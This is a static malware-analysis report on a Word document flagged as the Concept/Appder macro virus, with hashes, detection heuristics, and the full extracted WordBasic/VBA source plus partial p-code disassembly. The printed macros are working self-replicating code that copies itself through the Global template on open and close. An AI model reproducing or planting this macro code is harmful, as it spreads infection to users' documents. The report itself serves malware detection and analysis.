Concept — Office (OLE) malware analysis

Static analysis result for SHA-256 593c9c5be9dfc78e…

MALICIOUS

Office (OLE)

38.0 KB Created: 1999-03-20 17:53:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c1ec9b9fc9ddb4645713d54901da44d9 SHA-1: 380bbf7f762c120141e53a566745c7ca3d9b7b06 SHA-256: 593c9c5be9dfc78e07da80b8a592571272846d4bf9dce4e1cda78574c7bc31de
260 Risk Score

Malware Insights

Concept · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This file exhibits characteristics of the Concept macro virus family, including legacy WordBasic macros and the presence of AutoOpen and AutoClose subroutines. The ClamAV detection 'Doc.Trojan.Concept-28' and the embedded artifact detection 'Doc.Trojan.Appder-1' strongly indicate its malicious nature. The macros are designed to copy themselves to other documents, a common propagation technique for this family.

Heuristics 5

  • ClamAV: Doc.Trojan.Concept-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Concept-28
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10635 bytes
SHA-256: 5a45e1ef2b8b6ce8150db83fb4ab93fbce81647e9dc150718d947de2eeeb327d
Detection
ClamAV: Doc.Trojan.Appder-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Option Explicit


'Virus - NTTHNTA

Public Sub MAIN()
Dim iMacroCount
Dim i
Dim AClose
Dim Ad
Dim sMe$
Dim sMacro$
Funyour
On Error GoTo -1: On Error GoTo Quit
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0, 0) = "AutoClose" Then
        AClose = -1
    End If
    If WordBasic.[MacroName$](i, 0, 0) = "Appder" Then
        Ad = -1
    End If
Next i
If Not AClose And Not Ad Then
    sMe$ = WordBasic.[FileName$]()
    sMacro$ = sMe$ + ":Appder"
    WordBasic.MacroCopy sMacro$, "Global:Appder"
    sMacro$ = sMe$ + ":AutoClose"
    WordBasic.MacroCopy sMacro$, "Global:AutoClose"
End If
Quit:
End Sub

Private Sub Funyour()
Dim WOpen$
Dim sales
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", " NTTHNTA", "WINWORD6.INI")
sales = WordBasic.Val(WOpen$) + 1
WordBasic.SetPrivateProfileString "Microsoft Word", "NTTHNTA", Str(sales), "WINWORD6.INI"
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", "NTTHNTA", "WINWORD6.INI")
End Sub 'Funyour

Attribute VB_Name = "Appder"
Option Explicit


'Virus - NTTHNTA

Public Sub MAIN()
Dim iMacroCount
Dim i
Dim AClose
Dim Ad
Dim sMe$
Dim sMacro$
Funyour
On Error GoTo -1: On Error GoTo Quit
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0, 0) = "AutoClose" Then
        AClose = -1
    End If
    If WordBasic.[MacroName$](i, 0, 0) = "Appder" Then
        Ad = -1
    End If
Next i
If Not AClose And Not Ad Then
    sMe$ = WordBasic.[FileName$]()
    sMacro$ = sMe$ + ":Appder"
    WordBasic.MacroCopy sMacro$, "Global:Appder"
    sMacro$ = sMe$ + ":AutoClose"
    WordBasic.MacroCopy sMacro$, "Global:AutoClose"
End If
Quit:
End Sub

Private Sub Funyour()
Dim WOpen$
Dim sales
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", " NTTHNTA", "WINWORD6.INI")
sales = WordBasic.Val(WOpen$) + 1
WordBasic.SetPrivateProfileString "Microsoft Word", "NTTHNTA", Str(sales), "WINWORD6.INI"
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", "NTTHNTA", "WINWORD6.INI")
End Sub 'Funyour

Attribute VB_Name = "AutoClose"
Option Explicit


'   Virus - NTTHNTA

Public Sub MAIN()
Dim sMe$
Dim sTMacro$
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
On Error GoTo -1: On Error GoTo Quit
WordBasic.CurValues.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
sMe$ = WordBasic.[FileName$]()
sTMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy "Global:Appder", sTMacro$
sTMacro$ = sMe$ + ":Appder"
WordBasic.MacroCopy "Global:Appder", sTMacro$
sTMacro$ = sMe$ + ":AutoClose"
WordBasic.MacroCopy "Global:AutoClose", sTMacro$
WordBasic.FileSaveAs dlg
GoTo Done
Quit:
If Err.Number <> 102 Then
    WordBasic.FileSaveAs dlg
End If
Done:
End Sub

' Processing file: /opt/analyzer/scan_staging/8f999fb87d8d476fb699580618074c30.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 2738 bytes
' Line #0:
' 	Option  (Explicit)
' Line #1:
' Line #2:
' Line #3:
' 	QuoteRem 0x0000 0x000F "Virus - NTTHNTA"
' Line #4:
' Line #5:
' 	FuncDefn (Public Sub MAIN())
' Line #6:
' 	Dim 
' 	VarDefn iMacroCount
' Line #7:
' 	Dim 
' 	VarDefn i
' Line #8:
' 	Dim 
' 	VarDefn AClose
' Line #9:
' 	Dim 
' 	VarDefn Ad
' Line #10:
' 	Dim 
' 	VarDefn sMe
' Line #11:
' 	Dim 
' 	VarDefn sMacro
' Line #12:
' 	ArgsCall Funyour 0x0000 
' Line #13:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Quit 
' Line #14:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #15:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x000
... (truncated)

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